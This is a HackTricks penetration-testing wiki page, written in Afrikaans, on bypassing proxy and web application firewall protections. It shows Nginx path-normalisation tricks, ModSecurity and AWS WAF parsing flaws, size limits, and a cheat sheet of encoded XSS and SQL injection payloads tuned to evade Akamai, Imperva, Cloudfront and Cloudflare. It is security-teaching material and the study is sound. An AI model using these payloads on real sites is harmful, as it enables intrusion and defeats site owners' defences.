hacktricks/src/pentesting-web/proxy-waf-protections-bypass.md

# Proxy / WAF Beskerming Omseiling

{{#include ../banners/hacktricks-training.md}}


## Omseiling van Nginx ACL Reëls met Padnaam Manipulasie <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>

Tegnieke [uit hierdie navorsing](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).

Nginx reël voorbeeld:
```plaintext
location = /admin {
deny all;
}

location = /admin/ {
deny all;
}
```
Om omseilings te voorkom, voer Nginx padnormalisering uit voordat dit dit nagaan. As die agtergrondbediener egter 'n ander normalisering uitvoer (wat karakters verwyder wat Nginx nie verwyder nie), kan dit moontlik wees om hierdie verdediging te omseil.

### **NodeJS - Express**

| Nginx Weergawe | **Node.js Omseil Karakters** |
| -------------- | ----------------------------- |
| 1.22.0         | `\xA0`                        |
| 1.21.6         | `\xA0`                        |
| 1.20.2         | `\xA0`, `\x09`, `\x0C`        |
| 1.18.0         | `\xA0`, `\x09`, `\x0C`        |
| 1.16.1         | `\xA0`, `\x09`, `\x0C`        |

### **Flask**

| Nginx Weergawe | **Flask Omseil Karakters**                                    |
| -------------- | ------------------------------------------------------------- |
| 1.22.0         | `\x85`, `\xA0`                                                |
| 1.21.6         | `\x85`, `\xA0`                                                |
| 1.20.2         | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0         | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1         | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |

### **Spring Boot**

| Nginx Weergawe | **Spring Boot Omseil Karakters** |
| -------------- | --------------------------------- |
| 1.22.0         | `;`                               |
| 1.21.6         | `;`                               |
| 1.20.2         | `\x09`, `;`                       |
| 1.18.0         | `\x09`, `;`                       |
| 1.16.1         | `\x09`, `;`                       |

### **PHP-FPM**

Nginx FPM konfigurasie:
```plaintext
location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
```
Nginx is geconfigureer om toegang tot `/admin.php` te blokkeer, maar dit is moontlik om dit te omseil deur toegang te verkry tot `/admin.php/index.php`.

### Hoe om te voorkom
```plaintext
location ~* ^/admin {
deny all;
}
```
## Bypass Mod Security Rules <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>

### Pad Verwarring

[**In hierdie pos**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) word verduidelik dat ModSecurity v3 (tot 3.0.12), **die `REQUEST_FILENAME`** veranderlike onvanpas geïmplementeer het wat veronderstel was om die toeganklike pad (tot die begin van die parameters) te bevat. Dit is omdat dit 'n URL-dekodeer uitgevoer het om die pad te verkry.\
Daarom sal 'n versoek soos `http://example.com/foo%3f';alert(1);foo=` in mod security veronderstel dat die pad net `/foo` is omdat `%3f` in `?` omgeskakel word wat die URL-pad beëindig, maar eintlik sal die pad wat 'n bediener sal ontvang `/foo%3f';alert(1);foo=` wees.

Die veranderlikes `REQUEST_BASENAME` en `PATH_INFO` was ook deur hierdie fout geraak.

Iets soortgelyks het in weergawe 2 van Mod Security gebeur wat 'n beskerming toegelaat het wat verhoed het dat gebruikers toegang tot lêers met spesifieke uitbreidings wat verband hou met rugsteunlêers (soos `.bak`) verkry, eenvoudig deur die punt URL-gecodeer in `%2e` te stuur, byvoorbeeld: `https://example.com/backup%2ebak`.

## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>

### Verkeerde Kop

[Hierdie navorsing](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) noem dat dit moontlik was om AWS WAF-reëls wat op HTTP-koppe toegepas is, te omseil deur 'n "verkeerde" kop te stuur wat nie behoorlik deur AWS ontleed is nie, maar wel deur die agtergrondbediener.

Byvoorbeeld, deur die volgende versoek met 'n SQL-inspuiting in die kop X-Query te stuur:
```http
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
```
Dit was moontlik om AWS WAF te omseil omdat dit nie verstaan het dat die volgende lyn deel is van die waarde van die kop nie, terwyl die NODEJS-bediener dit wel gedoen het (dit is reggestel).

## Generiese WAF omseilings

### Versoekgrootte beperkings

Gewoonlik het WAFs 'n sekere lengtebeperking van versoeke om te kontroleer, en as 'n POST/PUT/PATCH-versoek daarbo is, sal die WAF die versoek nie kontroleer nie.

- Vir AWS WAF kan jy [**die dokumentasie nagaan**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**

<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Maximale grootte van 'n webversoekliggaam wat ondersoek kan word vir Application Load Balancer en AWS AppSync beskermings</td><td>8 KB</td></tr><tr><td>Maximale grootte van 'n webversoekliggaam wat ondersoek kan word vir CloudFront, API Gateway, Amazon Cognito, App Runner, en Verified Access beskermings**</td><td>64 KB</td></tr></tbody></table>

- Van [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**

Ou Web Application Firewalls met Core Rule Set 3.1 (of laer) laat boodskappe groter as **128 KB** toe deur versoekliggaamondersoek af te skakel, maar hierdie boodskappe sal nie op kwesbaarhede nagegaan word nie. Vir nuwer weergawes (Core Rule Set 3.2 of nuwer) kan dieselfde gedoen word deur die maksimum versoekliggaamlimiet te deaktiveer. Wanneer 'n versoek die groottegrens oorskry:

As p**reventiemodus**: Teken die versoek aan en blokkeer dit.\
As **deteksie-modus**: Ondersoek tot by die limiet, ignoreer die res, en teken aan as die `Content-Length` die limiet oorskry.

- Van [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**

Standaard ondersoek die WAF slegs die eerste 8KB van 'n versoek. Dit kan die limiet tot 128KB verhoog deur Gevorderde Metadata by te voeg.

- Van [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**

Tot 128KB.

### Obfuskaasie <a href="#obfuscation" id="obfuscation"></a>
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
```
### Unicode Kompatibiliteit <a href="#unicode-compatability" id="unicode-compatability"></a>

Afhangende van die implementering van Unicode normalisering (meer inligting [hier](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), kan karakters wat Unicode kompatibiliteit deel, in staat wees om die WAF te omseil en as die bedoelde las te voer. Kompatible karakters kan [hier](https://www.compart.com/en/unicode) gevind word.

#### Voorbeeld <a href="#example" id="example"></a>
```bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥  --> ＜img src=p onerror='prompt(1)'>
```
### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>

Soos genoem in [**hierdie blogpos**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), om WAFs te omseil wat 'n konteks van die gebruiker se invoer kan handhaaf, kan ons die WAF tegnieke misbruik om werklik die gebruiker se invoer te normaliseer.

Byvoorbeeld, in die pos word genoem dat **Akamai 'n gebruiker se invoer 10 keer URL-decodeer**. Daarom sal iets soos `<input/%2525252525252525253e/onfocus` deur Akamai gesien word as `<input/>/onfocus` wat **kan dink dat dit reg is aangesien die etiket gesluit is**. egter, solank die toepassing nie die invoer 10 keer URL-decodeer nie, sal die slagoffer iets soos `<input/%25252525252525253e/onfocus` sien wat **nog steeds geldig is vir 'n XSS-aanval**.

Daarom laat dit toe om **payloads in geënkodeerde komponente te verberg** wat die WAF sal decodeer en interpreteer terwyl die slagoffer nie.

Boonop kan dit nie net met URL-geënkodeerde payloads gedoen word nie, maar ook met ander kodering soos unicode, hex, oktale...

In die pos word die volgende finale omseilings voorgestel:

- Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
- Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`

Daar word ook genoem dat afhangende van **hoe sommige WAFs die konteks van die gebruiker se invoer verstaan**, dit moontlik is om dit te misbruik. Die voorgestelde voorbeeld in die blog is dat Akamai toelaat het om enigiets tussen `/*` en `*/` te plaas (potensieel omdat dit algemeen as kommentaar gebruik word). Daarom sal 'n SQL-inspuiting soos `/*'or sleep(5)-- -*/` nie opgemerk word nie en sal geldig wees aangesien `/*` die beginstring van die inspuiting is en `*/` kommentaar is.

Hierdie tipe konteksprobleme kan ook gebruik word om **ander kwesbaarhede as die een wat verwag word** om deur die WAF uitgebuit te word, te misbruik (bv. dit kan ook gebruik word om 'n XSS aan te val).

### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>

{{#ref}}
h2c-smuggling.md
{{#endref}}

### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>

- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Genereer 'n API-gateway URL om met ffuf te gebruik
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Soortgelyk aan fireprox
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite-inprop wat API-gateway IP's gebruik
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): 'n Dinamies bepaalde aantal houerinstansies word geaktiveer op grond van die invoer lêergrootte en splitsingsfaktor, met die invoer in stukke gesplitst vir parallelle uitvoering, soos 100 instansies wat 100 stukke van 'n 10,000-lyn invoer lêer met 'n splitsingsfaktor van 100 lyne verwerk.
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)

### Regex Bypasses

Verskillende tegnieke kan gebruik word om die regex filters op die firewalls te omseil. Voorbeelde sluit in: alternatiewe geval, toevoeging van lynbreuke, en kodering van payloads. Hulpbronne vir die verskillende omseilings kan gevind word by [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) en [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Die voorbeelde hieronder is uit [hierdie artikel](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) geneem.
```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
```
## Gereedskap

- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp-inprop om rommeldata aan versoeke toe te voeg om WAFs te omseil deur lengte

## Verwysings

- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)


{{#include ../banners/hacktricks-training.md}}